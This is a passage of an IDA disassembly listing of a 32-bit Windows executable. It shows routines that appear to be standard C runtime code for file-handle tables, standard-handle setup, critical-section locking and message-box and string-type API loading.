		mov	eax, [ebp+var_4]
		mov	ecx, [eax+54h]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+54h], 0
		cmp	[ebp+arg_0], 8
		jnz	short loc_42928E
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+58h]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+58h], 8Ch


loc_42928E:				; CODE XREF: sub_429130+130j
					; sub_429130+149j
		cmp	[ebp+arg_0], 8
		jnz	short loc_4292D0
		mov	eax, dword_447A20
		mov	[ebp+var_10], eax
		jmp	short loc_4292A7
; ---------------------------------------------------------------------------


loc_42929E:				; CODE XREF: sub_429130+19Cj
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_4292A7:				; CODE XREF: sub_429130+16Cj
		mov	edx, dword_447A20
		add	edx, dword_447A24
		cmp	[ebp+var_10], edx
		jge	short loc_4292CE
		mov	eax, [ebp+var_10]
		imul	eax, 0Ch
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_42929E
; ---------------------------------------------------------------------------


loc_4292CE:				; CODE XREF: sub_429130+186j
		jmp	short loc_4292D9
; ---------------------------------------------------------------------------


loc_4292D0:				; CODE XREF: sub_429130+162j
		mov	eax, [ebp+var_18]
		mov	dword ptr [eax], 0


loc_4292D9:				; CODE XREF: sub_429130:loc_4292CEj
		cmp	[ebp+var_C], 0
		jz	short loc_4292E9
		push	1
		call	sub_41BD20
		add	esp, 4


loc_4292E9:				; CODE XREF: sub_429130+1ADj
		cmp	[ebp+arg_0], 8
		jnz	short loc_429300
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	[ebp+var_1C]
		add	esp, 8
		jmp	short loc_42930A
; ---------------------------------------------------------------------------


loc_429300:				; CODE XREF: sub_429130+1BDj
		mov	eax, [ebp+arg_0]
		push	eax
		call	[ebp+var_1C]
		add	esp, 4


loc_42930A:				; CODE XREF: sub_429130+1CEj
		cmp	[ebp+arg_0], 8
		jz	short loc_42931C
		cmp	[ebp+arg_0], 0Bh
		jz	short loc_42931C
		cmp	[ebp+arg_0], 4
		jnz	short loc_429334


loc_42931C:				; CODE XREF: sub_429130+1DEj
					; sub_429130+1E4j
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_14]
		mov	[ecx+54h], edx
		cmp	[ebp+arg_0], 8
		jnz	short loc_429334
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+58h], ecx


loc_429334:				; CODE XREF: sub_429130+1EAj
					; sub_429130+1F9j
		xor	eax, eax


loc_429336:				; CODE XREF: sub_429130+D1j
					; sub_429130+FEj
		mov	esp, ebp
		pop	ebp
		retn
sub_429130	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_42933A	dd offset loc_429168	; DATA XREF: sub_429130+31r
		dd offset loc_4291D3
		dd offset loc_4291B9
		dd offset loc_429185
		dd offset loc_42919F
		dd offset loc_4291FE
byte_429352	db 0			; DATA XREF: sub_429130+2Br
		db 5
		dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h
		dd 2 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429370	proc near		; CODE XREF: .data:00428FF0p
					; sub_429130+B6p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax


loc_42937A:				; CODE XREF: sub_429370+31j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+4]
		cmp	edx, [ebp+arg_0]
		jz	short loc_4293A3
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, dword_447A2C
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_4293A3
		jmp	short loc_42937A
; ---------------------------------------------------------------------------


loc_4293A3:				; CODE XREF: sub_429370+13j
					; sub_429370+2Fj
		mov	eax, dword_447A2C
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_4293C5
		mov	edx, [ebp+var_4]
		mov	eax, [edx+4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4293C5
		mov	eax, [ebp+var_4]
		jmp	short loc_4293C7
; ---------------------------------------------------------------------------


loc_4293C5:				; CODE XREF: sub_429370+43j
					; sub_429370+4Ej
		xor	eax, eax


loc_4293C7:				; CODE XREF: sub_429370+53j
		mov	esp, ebp
		pop	ebp
		retn
sub_429370	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		call	sub_421920
		add	eax, 58h
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4293E0	proc near		; CODE XREF: .data:0042AEA9p
		push	ebp
		mov	ebp, esp
		call	sub_421920
		add	eax, 54h
		pop	ebp
		retn
sub_4293E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4293F0	proc near		; CODE XREF: sub_41B3A0+2CEp
					; sub_428880+1B0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0
		cmp	dword_4DE1B0, 0
		jnz	short loc_429463
		push	offset aUser32_dll_0 ; "user32.dll"
		call	dword_4E037C	; LoadLibraryA
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_429437
		push	offset aMessageboxa ; "MessageBoxA"
		mov	eax, [ebp+var_8]
		push	eax
		call	dword_4E0380	; GetProcAddress
		mov	dword_4DE1B0, eax
		cmp	dword_4DE1B0, 0
		jnz	short loc_42943B


loc_429437:				; CODE XREF: sub_4293F0+28j
		xor	eax, eax
		jmp	short loc_4294A7
; ---------------------------------------------------------------------------


loc_42943B:				; CODE XREF: sub_4293F0+45j
		push	offset aGetactivewindo ; "GetActiveWindow"
		mov	ecx, [ebp+var_8]
		push	ecx
		call	dword_4E0380	; GetProcAddress
		mov	dword_4DE1B4, eax
		push	offset aGetlastactivep ; "GetLastActivePopup"
		mov	edx, [ebp+var_8]
		push	edx
		call	dword_4E0380	; GetProcAddress
		mov	dword_4DE1B8, eax


loc_429463:				; CODE XREF: sub_4293F0+14j
		cmp	dword_4DE1B4, 0
		jz	short loc_429475
		call	dword_4DE1B4	; GetActiveWindow
		mov	[ebp+var_4], eax


loc_429475:				; CODE XREF: sub_4293F0+7Aj
		cmp	[ebp+var_4], 0
		jz	short loc_429491
		cmp	dword_4DE1B8, 0
		jz	short loc_429491
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4DE1B8	; GetLastActivePopup
		mov	[ebp+var_4], eax


loc_429491:				; CODE XREF: sub_4293F0+89j
					; sub_4293F0+92j
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	dword_4DE1B0	; MessageBoxA


loc_4294A7:				; CODE XREF: sub_4293F0+49j
		mov	esp, ebp
		pop	ebp
		retn
sub_4293F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4294B0	proc near		; CODE XREF: .data:loc_429942p
					; sub_429E30:loc_42A0C9p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	[ebp+var_8], 0FFFFFFFFh
		push	12h
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_C], 0
		jmp	short loc_4294DA
; ---------------------------------------------------------------------------


loc_4294D1:				; CODE XREF: sub_4294B0:loc_42967Bj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax


loc_4294DA:				; CODE XREF: sub_4294B0+1Fj
		cmp	[ebp+var_C], 40h
		jge	loc_429680
		mov	ecx, [ebp+var_C]
		cmp	dword_4DE320[ecx*4], 0
		jz	loc_4295E6
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DE320[edx*4]
		mov	[ebp+var_4], eax
		jmp	short loc_42950D
; ---------------------------------------------------------------------------


loc_429504:				; CODE XREF: sub_4294B0+F1j
					; sub_4294B0:loc_4295D1j
		mov	ecx, [ebp+var_4]
		add	ecx, 24h
		mov	[ebp+var_4], ecx


loc_42950D:				; CODE XREF: sub_4294B0+52j
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DE320[edx*4]
		add	eax, 480h
		cmp	[ebp+var_4], eax
		jnb	loc_4295D6
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jnz	loc_4295D1
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_429579
		push	11h
		call	sub_41BC80
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42956F
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		call	dword_4E0470	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx


loc_42956F:				; CODE XREF: sub_4294B0+A1j
		push	11h
		call	sub_41BD20
		add	esp, 4


loc_429579:				; CODE XREF: sub_4294B0+8Ej
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		call	dword_4E03A8	; RtlEnterCriticalSection
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 1
		test	edx, edx
		jz	short loc_4295A6
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		push	eax
		call	dword_4E03A4	; RtlLeaveCriticalSection
		jmp	loc_429504
; ---------------------------------------------------------------------------


loc_4295A6:				; CODE XREF: sub_4294B0+E2j
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		sub	eax, dword_4DE320[edx*4]
		cdq
		mov	esi, 24h
		idiv	esi
		add	ecx, eax
		mov	[ebp+var_8], ecx
		jmp	short loc_4295D6
; ---------------------------------------------------------------------------


loc_4295D1:				; CODE XREF: sub_4294B0+81j
		jmp	loc_429504
; ---------------------------------------------------------------------------


loc_4295D6:				; CODE XREF: sub_4294B0+6Fj
					; sub_4294B0+11Fj
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4295E1
		jmp	loc_429680
; ---------------------------------------------------------------------------


loc_4295E1:				; CODE XREF: sub_4294B0+12Aj
		jmp	loc_42967B
; ---------------------------------------------------------------------------


loc_4295E6:				; CODE XREF: sub_4294B0+3Fj
		push	79h
		push	offset aOsfinfo_c ; "osfinfo.c"
		push	2
		push	480h
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_429679
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	dword_4DE320[eax*4], ecx
		mov	edx, dword_4DE420
		add	edx, 20h
		mov	dword_4DE420, edx
		jmp	short loc_42962C
; ---------------------------------------------------------------------------


loc_429623:				; CODE XREF: sub_4294B0+1B2j
		mov	eax, [ebp+var_4]
		add	eax, 24h
		mov	[ebp+var_4], eax


loc_42962C:				; CODE XREF: sub_4294B0+171j
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4DE320[ecx*4]
		add	edx, 480h
		cmp	[ebp+var_4], edx
		jnb	short loc_429664
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+4], 0
		mov	ecx, [ebp+var_4]
		mov	dword ptr [ecx], 0FFFFFFFFh
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx+5], 0Ah
		mov	eax, [ebp+var_4]
		mov	dword ptr [eax+8], 0
		jmp	short loc_429623
; ---------------------------------------------------------------------------


loc_429664:				; CODE XREF: sub_4294B0+18Fj
		mov	ecx, [ebp+var_C]
		shl	ecx, 5
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_4299C0
		add	esp, 4


loc_429679:				; CODE XREF: sub_4294B0+153j
		jmp	short loc_429680
; ---------------------------------------------------------------------------


loc_42967B:				; CODE XREF: sub_4294B0:loc_4295E1j
		jmp	loc_4294D1
; ---------------------------------------------------------------------------


loc_429680:				; CODE XREF: sub_4294B0+2Ej
					; sub_4294B0+12Cj ...
		push	12h
		call	sub_41BD20
		add	esp, 4
		mov	eax, [ebp+var_8]
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4294B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4296A0	proc near		; CODE XREF: .data:00429973p
					; sub_429E30+379p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DE420
		jnb	loc_42973A
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		cmp	dword ptr [eax+edx], 0FFFFFFFFh
		jnz	short loc_42973A
		cmp	dword_444ED4, 1
		jnz	short loc_42971A
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jz	short loc_4296F2
		cmp	[ebp+var_4], 1
		jz	short loc_429700
		cmp	[ebp+var_4], 2
		jz	short loc_42970E
		jmp	short loc_42971A
; ---------------------------------------------------------------------------


loc_4296F2:				; CODE XREF: sub_4296A0+42j
		mov	edx, [ebp+arg_4]
		push	edx
		push	0FFFFFFF6h
		call	dword_4E030C	; SetStdHandle
		jmp	short loc_42971A
; ---------------------------------------------------------------------------


loc_429700:				; CODE XREF: sub_4296A0+48j
		mov	eax, [ebp+arg_4]
		push	eax
		push	0FFFFFFF5h
		call	dword_4E030C	; SetStdHandle
		jmp	short loc_42971A
; ---------------------------------------------------------------------------


loc_42970E:				; CODE XREF: sub_4296A0+4Ej
		mov	ecx, [ebp+arg_4]
		push	ecx
		push	0FFFFFFF4h
		call	dword_4E030C	; SetStdHandle


loc_42971A:				; CODE XREF: sub_4296A0+36j
					; sub_4296A0+50j ...
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DE320[edx*4]
		mov	edx, [ebp+arg_4]
		mov	[ecx+eax], edx
		xor	eax, eax
		jmp	short loc_429753
; ---------------------------------------------------------------------------


loc_42973A:				; CODE XREF: sub_4296A0+Dj
					; sub_4296A0+2Dj
		call	sub_4224D0
		mov	dword ptr [eax], 9
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_429753:				; CODE XREF: sub_4296A0+98j
		mov	esp, ebp
		pop	ebp
		retn
sub_4296A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429760	proc near		; CODE XREF: sub_41B730+69p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DE420
		jnb	loc_42981B
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_42981B
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DE320[edx*4]
		cmp	dword ptr [ecx+eax], 0FFFFFFFFh
		jz	short loc_42981B
		cmp	dword_444ED4, 1
		jnz	short loc_4297FA
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		jz	short loc_4297D8
		cmp	[ebp+var_4], 1
		jz	short loc_4297E4
		cmp	[ebp+var_4], 2
		jz	short loc_4297F0
		jmp	short loc_4297FA
; ---------------------------------------------------------------------------


loc_4297D8:				; CODE XREF: sub_429760+68j
		push	0
		push	0FFFFFFF6h
		call	dword_4E030C	; SetStdHandle
		jmp	short loc_4297FA
; ---------------------------------------------------------------------------


loc_4297E4:				; CODE XREF: sub_429760+6Ej
		push	0
		push	0FFFFFFF5h
		call	dword_4E030C	; SetStdHandle
		jmp	short loc_4297FA
; ---------------------------------------------------------------------------


loc_4297F0:				; CODE XREF: sub_429760+74j
		push	0
		push	0FFFFFFF4h
		call	dword_4E030C	; SetStdHandle


loc_4297FA:				; CODE XREF: sub_429760+5Cj
					; sub_429760+76j ...
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		mov	dword ptr [edx+ecx], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_429834
; ---------------------------------------------------------------------------


loc_42981B:				; CODE XREF: sub_429760+Dj
					; sub_429760+33j ...
		call	sub_4224D0
		mov	dword ptr [eax], 9
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_429834:				; CODE XREF: sub_429760+B9j
		mov	esp, ebp
		pop	ebp
		retn
sub_429760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429840	proc near		; CODE XREF: sub_41B730+9p
					; sub_41B730+24p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DE420
		jnb	short loc_42988B
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42988B
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4DE320[edx*4]
		mov	eax, [ecx+eax]
		jmp	short loc_4298A4
; ---------------------------------------------------------------------------


loc_42988B:				; CODE XREF: sub_429840+Cj
					; sub_429840+2Ej
		call	sub_4224D0
		mov	dword ptr [eax], 9
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_4298A4:				; CODE XREF: sub_429840+49j
		pop	ebp
		retn
sub_429840	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	byte ptr [ebp-0Ch], 0
		mov	eax, [ebp+0Ch]
		and	eax, 8
		test	eax, eax
		jz	short loc_4298CD
		mov	cl, [ebp-0Ch]
		or	cl, 20h
		mov	[ebp-0Ch], cl


loc_4298CD:				; CODE XREF: .data:004298C2j
		mov	edx, [ebp+0Ch]
		and	edx, 4000h
		test	edx, edx
		jz	short loc_4298E2
		mov	al, [ebp-0Ch]
		or	al, 80h
		mov	[ebp-0Ch], al


loc_4298E2:				; CODE XREF: .data:004298D8j
		mov	ecx, [ebp+0Ch]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_4298F8
		mov	dl, [ebp-0Ch]
		or	dl, 10h
		mov	[ebp-0Ch], dl


loc_4298F8:				; CODE XREF: .data:004298EDj
		mov	eax, [ebp+8]
		push	eax
		call	dword_4E0314	; GetFileType
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_429922
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		call	sub_422430
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_4299B0
; ---------------------------------------------------------------------------


loc_429922:				; CODE XREF: .data:00429909j
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_429933
		mov	cl, [ebp-0Ch]
		or	cl, 40h
		mov	[ebp-0Ch], cl
		jmp	short loc_429942
; ---------------------------------------------------------------------------


loc_429933:				; CODE XREF: .data:00429926j
		cmp	dword ptr [ebp-4], 3
		jnz	short loc_429942
		mov	dl, [ebp-0Ch]
		or	dl, 8
		mov	[ebp-0Ch], dl


loc_429942:				; CODE XREF: .data:00429931j
					; .data:00429937j
		call	sub_4294B0
		mov	[ebp-8], eax
		cmp	dword ptr [ebp-8], 0FFFFFFFFh
		jnz	short loc_42996B
		call	sub_4224D0
		mov	dword ptr [eax], 18h
		call	sub_4224E0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_4299B0
; ---------------------------------------------------------------------------


loc_42996B:				; CODE XREF: .data:0042994Ej
		mov	eax, [ebp+8]
		push	eax
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_4296A0
		add	esp, 8
		mov	dl, [ebp-0Ch]
		or	dl, 1
		mov	[ebp-0Ch], dl
		mov	eax, [ebp-8]
		sar	eax, 5
		mov	ecx, [ebp-8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		mov	al, [ebp-0Ch]
		mov	[edx+ecx+4], al
		mov	ecx, [ebp-8]
		push	ecx
		call	sub_429A50
		add	esp, 4
		mov	eax, [ebp-8]


loc_4299B0:				; CODE XREF: .data:0042991Dj
					; .data:00429969j
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4299C0	proc near		; CODE XREF: sub_41B6B0+50p
					; sub_41FCF0+50p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+8], 0
		jnz	short loc_429A21
		push	11h
		call	sub_41BC80
		add	esp, 4
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_429A17
		mov	edx, [ebp+var_4]
		add	edx, 0Ch
		push	edx
		call	dword_4E0470	; InitializeCriticalSection
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+8]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+8], ecx


loc_429A17:				; CODE XREF: sub_4299C0+39j
		push	11h
		call	sub_41BD20
		add	esp, 4


loc_429A21:				; CODE XREF: sub_4299C0+26j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		call	dword_4E03A8	; RtlEnterCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_4299C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A50	proc near		; CODE XREF: sub_41B6B0+6Bp
					; sub_41FCF0+73p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		lea	eax, [edx+ecx+0Ch]
		push	eax
		call	dword_4E03A4	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_429A50	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429A80	proc near		; CODE XREF: sub_41B8D0+2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DE420
		jnb	short loc_429AB1
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4DE320[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_429AC4


loc_429AB1:				; CODE XREF: sub_429A80+Dj
		call	sub_4224D0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_429B4E
; ---------------------------------------------------------------------------


loc_429AC4:				; CODE XREF: sub_429A80+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4299C0
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4DE320[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 1
		test	eax, eax
		jz	short loc_429B2D
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_429840
		add	esp, 4
		push	eax
		call	dword_4E0308	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_429B14
		call	dword_4E0350	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_429B1B
; ---------------------------------------------------------------------------


loc_429B14:				; CODE XREF: sub_429A80+87j
		mov	[ebp+var_4], 0


loc_429B1B:				; CODE XREF: sub_429A80+92j
		cmp	[ebp+var_4], 0
		jnz	short loc_429B23
		jmp	short loc_429B3F
; ---------------------------------------------------------------------------


loc_429B23:				; CODE XREF: sub_429A80+9Fj
		call	sub_4224E0
		mov	edx, [ebp+var_4]
		mov	[eax], edx


loc_429B2D:				; CODE XREF: sub_429A80+70j
		call	sub_4224D0
		mov	dword ptr [eax], 9
		mov	[ebp+var_4], 0FFFFFFFFh


loc_429B3F:				; CODE XREF: sub_429A80+A1j
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_429A50
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_429B4E:				; CODE XREF: sub_429A80+3Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_429A80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_429B60	proc near		; CODE XREF: sub_41FA40+98p
					; sub_421FA0+ECp ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_435700
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	dword_4DE1BC, 0
		jnz	short loc_429BDE
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		push	offset dword_435398
		push	1
		call	dword_4E0300	; GetStringTypeW
		test	eax, eax
		jz	short loc_429BB2
		mov	dword_4DE1BC, 1
		jmp	short loc_429BDE
; ---------------------------------------------------------------------------


loc_429BB2:				; CODE XREF: sub_429B60+44j
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	1
		push	offset dword_435394
		push	1
		push	0
		call	dword_4E0304	; GetStringTypeA
		test	eax, eax
		jz	short loc_429BD7
		mov	dword_4DE1BC, 2
		jmp	short loc_429BDE
; ---------------------------------------------------------------------------


loc_429BD7:				; CODE XREF: sub_429B60+69j
		xor	eax, eax
		jmp	loc_429D08
; ---------------------------------------------------------------------------


loc_429BDE:				; CODE XREF: sub_429B60+2Dj
					; sub_429B60+50j ...
		cmp	dword_4DE1BC, 2
		jnz	short loc_429C15
		cmp	[ebp+arg_14], 0
		jnz	short loc_429BF6
		mov	edx, dword_4DE074
		mov	[ebp+arg_14], edx


loc_429BF6:				; CODE XREF: sub_429B60+8Bj
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		call	dword_4E0304	; GetStringTypeA
		jmp	loc_429D08
; ---------------------------------------------------------------------------


loc_429C15:				; CODE XREF: sub_429B60+85j
		cmp	dword_4DE1BC, 1
		jnz	loc_429D06
		cmp	[ebp+arg_10], 0
		jnz	short loc_429C31
		mov	edx, dword_4DE084
		mov	[ebp+arg_10], edx


loc_429C31:				; CODE XREF: sub_429B60+C6j
		push	0
		push	0
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
